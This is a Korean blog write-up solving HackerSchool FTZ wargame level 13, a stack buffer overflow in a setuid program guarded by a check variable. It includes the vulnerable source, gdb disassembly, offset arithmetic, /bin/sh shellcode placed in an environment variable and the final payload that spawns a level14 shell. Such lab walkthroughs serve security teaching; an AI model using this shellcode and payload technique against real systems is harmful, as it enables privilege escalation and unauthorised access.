Pwnable

[HackerSchool] FTZ Level13 풀이

e_yejun 2019. 12. 17. 01:39

 

 

ID : level13

PW : have no clue

 

 

level13에 접속합니다.

 

 

[level13@ftz level13]$ ls -al
total 96
drwxr-xr-x    4 root     level13      4096 Mar 19  2003 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     level13        24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     level13       224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     level13       151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     level13       400 Jan 25  1999 .cshrc
-rw-r--r--    1 root     level13      4742 Jan 25  1999 .emacs
-r--r--r--    1 root     level13       319 Jan 25  1999 .gtkrc
-rw-r--r--    1 root     level13       100 Jan 25  1999 .gvimrc
-rw-r-----    1 root     level13       258 Mar  8  2003 hint
-rw-r--r--    1 root     level13       226 Jan 25  1999 .muttrc
-rw-r--r--    1 root     level13       367 Jan 25  1999 .profile
drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level13      4096 Jul  4 12:59 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     level13      4145 Jan 25  1999 .vimrc
-rw-r--r--    1 root     level13       245 Jan 25  1999 .Xdefaults

 

 

힌트를 읽어봅시다.

 

 

[level13@ftz level13]$ cat hint

#include  

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

 

취약한 strcpy 함수가 보입니다.

하지만 main함수가 끝나기 전에 i변수의 값이 0x1234567이 아니면 프로그램을 강제종료시킵니다.

 

i변수는 입력받는 buf변수보다 높은 주소에 위치하고 있기 때문에 RET까지 아무 값이나 채워넣게 되면 i변수의 값이 바뀌면서 프로그램이 종료됩니다.

 

입력을 받을 때 i변수가 어디에 위치하고 있는지 알 수 있다면 간단히 우회할 수 있는 문제입니다.

 

gdb로 분석하면서 알아봅시다.

 

 

[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push   ebp
0x080484a1 <main+1>: mov    ebp,esp
0x080484a3 <main+3>: sub    esp,0x418
0x080484a9 <main+9>: mov    DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>: sub    esp,0x8
0x080484b3 <main+19>: push   0xc16
0x080484b8 <main+24>: push   0xc16
0x080484bd <main+29>: call   0x8048370 <setreuid> 
0x080484c2 <main+34>: add    esp,0x10
0x080484c5 <main+37>: cmp    DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle    0x80484e5 <main+69>
0x080484cb <main+43>: sub    esp,0x8
0x080484ce <main+46>: mov    eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add    eax,0x4
0x080484d4 <main+52>: push   DWORD PTR [eax]
0x080484d6 <main+54>: lea    eax,[ebp-1048]
0x080484dc <main+60>: push   eax
0x080484dd <main+61>: call   0x8048390 <strcpy>
0x080484e2 <main+66>: add    esp,0x10
0x080484e5 <main+69>: cmp    DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je     0x804850d <main+109>
0x080484ee <main+78>: sub    esp,0xc
0x080484f1 <main+81>: push   0x80485a0
0x080484f6 <main+86>: call   0x8048360 <printf>
0x080484fb <main+91>: add    esp,0x10
0x080484fe <main+94>: sub    esp,0x8
0x08048501 <main+97>: push   0xb
0x08048503 <main+99>: push   0x0
0x08048505 <main+101>: call   0x8048380 <kill>
0x0804850a <main+106>: add    esp,0x10
0x0804850d <main+109>: leave  
0x0804850e <main+110>: ret    
0x0804850f <main+111>: nop    
End of assembler dump.

 

 

main+9 : ebp-12 공간에 0x1234567(값)를 복사합니다.

main+54 : buf배열의 시작주소를 알 수 있습니다. -> ebp-1048

main+69 : ebp-12 공간과 0x1234567의 값이 같은지 확인합니다.

main+76 : 두 값이 같으면 점프(je)

 

 

*buf와 i의 거리차이 : 1036byte

 

 

간단하게 메모리 구조를 생각해봅시다.

=> buf의 시작주소부터 1036byte + 0x1234567(4byte) + 8byte + SFP(4byte) + RET

 

 

먼저, 앞선 문제처럼 환경변수에 쉘코드를 올려줍니다.

 

[level13@ftz level13]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[level13@ftz level13]$ export
declare -x BASH_ENV="/home/level13/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level13"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level13"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level13"
declare -x OLDPWD
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level13/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level13"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.10.1 9212 22"
declare -x SSH_CONNECTION="192.168.10.1 9212 192.168.10.244 22"
declare -x SSH_TTY="/dev/pts/2"
declare -x TERM="xterm"
declare -x USER="level13"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??째
                                                      ?1육?"

 

 

바아로~ 코딩을 통해 주소를 알아봅시다.

 

 

[level13@ftz tmp]$ vi env.c

 

#include
int main(){
        printf("%p\n",getenv("env"));
        return 0;
}


[level13@ftz tmp]$ gcc -o env env.c
[level13@ftz tmp]$ ls
env  env.c

[level13@ftz tmp]$ ./env
0xbfffff3f

 

 

환경변수 쉘코드 주소 : 0xbfffff3f

 

흐름을 정리해보면,

=> A * 1036 + 0x1234567 + B * 12 + 0xbfffff3f

 

인자를 주소로 넘겨줄 때, 리틀엔디안 형태로 보내줘야 하기 때문에 1바이트씩 뒤에서 부터 입력해줍니다.

 

* 최종적인 페이로드

=>  "A" * 1036 + "\x67\x45\x23\x01" + B * 12 + "\x3f\xff\xff\xbf"

 

 

* 이때 인자는 프로그램이 시작하면서 받기 때문에 ./attackme `python 'print "A"'` 형식으로 실행합니다.

 

 

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"B"*12+"\x3f\xff\xff\xbf"'`
sh-2.05b$  sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is

 

 

clear ★